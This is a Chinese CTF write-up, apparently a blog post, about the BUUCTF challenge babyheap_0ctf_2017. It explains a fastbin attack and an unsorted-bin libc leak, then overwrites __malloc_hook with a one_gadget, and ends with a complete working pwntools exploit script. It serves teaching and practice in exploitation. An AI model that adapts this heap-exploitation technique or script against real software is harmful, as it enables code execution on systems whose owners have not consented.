Fastbin attack&&Unsortbin leak的综合使用✅

Fastbin attack&&Unsortbin leak的综合使用✅

这是一个综合题目,包括利用Fastbin attack实现多指针指向一个地址,以及利用Unsortbin leak泄露libc基地址和修改__malloc_hook地址为one_gadget

这个题目方法不止这一种,这个是为了体现综合才这样做的,完全可以直接溢出修改下一个堆块的size位实现堆块重叠,然后正常泄露,正常打

题目是buuctf上面的一道题目,题目链接 BUUCTF在线评测

checksec看一下保护

太绿了.....保护全开,不过对于堆题目这也狠正常

那么就64位ida载入

也是有一个菜单和一些功能函数

一个一个看

那么第一个就是申请多大的chunk没有对其赋值

第二个问题来了,没有对size检查,那么可以进行溢出修改到别的chunk

第三个函数把指针什么的都置为0了,那么就没有UAF了

第四个函数可以打印出chunk的内容

仔细检查程序,发现并没有后门函数,那么现在思路是看看能不能能泄露libc,把一个函数替换成one_gadget得到shell

这里Unsortbin leak 可以泄露出libc地址,为什么呢?

Unsortbin leak原理:✅

当只有一个unsortbin被free的时候,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena+0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了

那么要想把它打印出来还不行,因为我们不能打印已经free的chunk(指针置为0了),但是因为是64位的chunk,如果要利用打印上一个chunk来打印这个chunk的内容,那也会有很多的\x00来进行截断,所以也是行不通的,那么我们可以找一个指针指向这个已经free的unsortbin,然后打印这个指针对应的chunk,问题似乎就解决了,那么该怎么做到呢?

如果我们可以利用Fastbin attack先将其加入fastbin 链中然后就有了一个指向它的指针,然后再malloc回来再将他改回原来的大小,再次free得到unsortbin,再打印刚刚指向它的chunk就得到main_arena+0x58处的地址了!

效果如下

可以看见chunk2成功指向chunk4

这个时候我们改变它的size为0x21因为malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查

效果如下

chunk4变成了fastbin

再次malloc两个大小为0x10的chunk将这两个chunk2和chunk4拿出来,然后再进行修改chunk size大小为0x91再次申请0x80大小chunk(申请到chunk4)然后再次进行free得到unsortbin

那么就可以得到libc基地址,和one_gadget地址

效果如下

之后我们申请0x60大小chunk将unsortbin进行分割,使其进入fastbin,然后伪造距离__malloc_hook较近的假的chunk来修改__malloc_hook,这个地方一般取__malloc_hook-35这个地方的size比较大而且再fastbin范围内(我本地是0x74)

我们再次修改fd指针

效果如下

再次申请两个大小为0x60的chunk即可申请到我们设置的fakechunk然后修改__malloc_hook为one_gadget就好了,值得注意的是,找的的one_gadget可以有一点点差别,因为libc分为不同的小版本,不同的版本有区别,我们可以把找到的one_gadget加0x10或者减去0x10再试试

最后看看我们做的所有工作

总的来说这题的难度还是不小的,很需要综合能力

最后完整脚本

 最后EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('../babyheap_0ctf_2017')
#io = remote('node5.buuoj.cn',28237)
libc = ELF('./libc.so.6')
def add(size):
    io.recvuntil(b'Command: ')
    io.sendline('1')
    io.recvuntil(':')
    io.sendline(str(size))

def fill(index,size,content):
    io.recvuntil(b'Command: ')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)

def free(index):
    io.recvuntil('Command: ')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))

def dump(index):
    io.recvuntil('Command: ')
    io.sendline('4')
    io.recvuntil(':')
    io.sendline(str(index))

def exitt():
    io.recvuntil(b'Command: ')
    io.sendline('5')

#gdb.attach(io)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
gdb.attach(io)
free(1)
free(2)

payload = p64(0)*3 + p64(0x21) +p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,len(payload),payload)
#gdb.attach(io)
payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)
#gdb.attach(io)
add(0x10)
add(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)
#gdb.attach(io)
add(0x80)
free(4)
dump(2)
io.recvuntil(b'\n')
#gdb.attach(io)
main_arena = u64(io.recvuntil(b'\n')[-9:-2].ljust(8,b'\x00'))
__malloc_hook = main_arena-0x58-0x10
success("__malloc_hook---->"+hex(__malloc_hook))
libc_base = main_arena - 0x3c4b78
success("libc_base---->"+hex(libc_base))
one_gadget = libc_base + 0x4526a 

add(0x60)
free(4)
#gdb.attach(io)
payload = p64(__malloc_hook-35)
fill(2,len(payload),payload)
#gdb.attach(io)
add(0x60)
add(0x60) #Fake chunk change __malloc_hook
payload = b'a'*0x10 + b'b'*3 + p64(one_gadget)
fill(6,len(payload),payload)
add(0x88)
io.interactive()

  • 30
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值